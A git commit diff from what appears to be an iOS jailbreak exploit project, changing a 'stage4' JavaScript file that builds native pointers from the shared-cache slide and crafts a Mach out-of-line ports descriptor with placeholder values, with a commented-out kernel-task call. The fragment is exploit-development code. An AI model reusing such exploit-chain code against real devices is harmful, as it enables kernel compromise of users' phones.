diff options
| author | spv420 <spv@spv.sh> | 2022-07-31 23:17:04 -0400 |
|---|---|---|
| committer | spv420 <spv@spv.sh> | 2022-07-31 23:17:04 -0400 |
| commit | 4e83accca238c1c064042bdbfa5fe2579032dbfe (patch) | |
| tree | 6c7e28da83a73389e18c50ee44732b28247490b5 /src/stage4/main.js | |
| parent | 4c1c94baadd86802320cb1fd9b058df98a3b78ad (diff) | |
fuck
Diffstat (limited to 'src/stage4/main.js')
| -rw-r--r-- | src/stage4/main.js | 31 |
1 files changed, 11 insertions, 20 deletions
diff --git a/src/stage4/main.js b/src/stage4/main.js index 1420246..d04e4f2 100644 --- a/src/stage4/main.js +++ b/src/stage4/main.js @@ -55,26 +55,17 @@ function main() { sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide; prep_shit(); - var np = new native_ptr(UNSLID_BASE + (get_our_slide() << 12)); - var native_ptr_u16 = native_ptr_type(2, u8x2_to_u16, u16_to_u8x2); - var native_ptr_u32 = native_ptr_type(4, u8x4_to_u32, u32_to_u8x4); - var native_ptr_u16_2 = native_ptr_type(2, u8x2_to_u16, u16_to_u8x2); - - var np1 = new native_ptr_u16(UNSLID_BASE + (get_our_slide() << 12)); - var np2 = new native_ptr_u32(UNSLID_BASE + (get_our_slide() << 12)); - var np3 = new native_ptr_u16_2(UNSLID_BASE + (get_our_slide() << 12)); - - var np4 = new mach_msg_ool_ports_descriptor_t(); - var addy = np4.addy; - write_u32(addy, 0x41414141); - write_u32(addy + 4, 0x42424242); - write_u32(addy + 8, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24))); - p0laris_log("%s", JSON.stringify(np4.deref())); - -// p0laris_log("%s", Proxy.toString()); - p0laris_log("%x %x %x %x", np1.deref(), np2.deref(), np3.deref()); - -// reboot(); + var init_port_set = new mach_msg_ool_ports_descriptor_t(); + var addy = init_port_set.addy; + var init_port_set_obj = init_port_set.deref(); + init_port_set_obj.address = 0x41414141; + init_port_set_obj.count = 0x42424242; + init_port_set_obj.disposition = 19; + init_port_set_obj.deallocate = false; + init_port_set_obj.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + p0laris_log("%x", addy); + init_port_set.write(init_port_set_obj); + p0laris_log("%s", JSON.stringify(init_port_set.deref())); // var tfp0 = get_kernel_task(); |
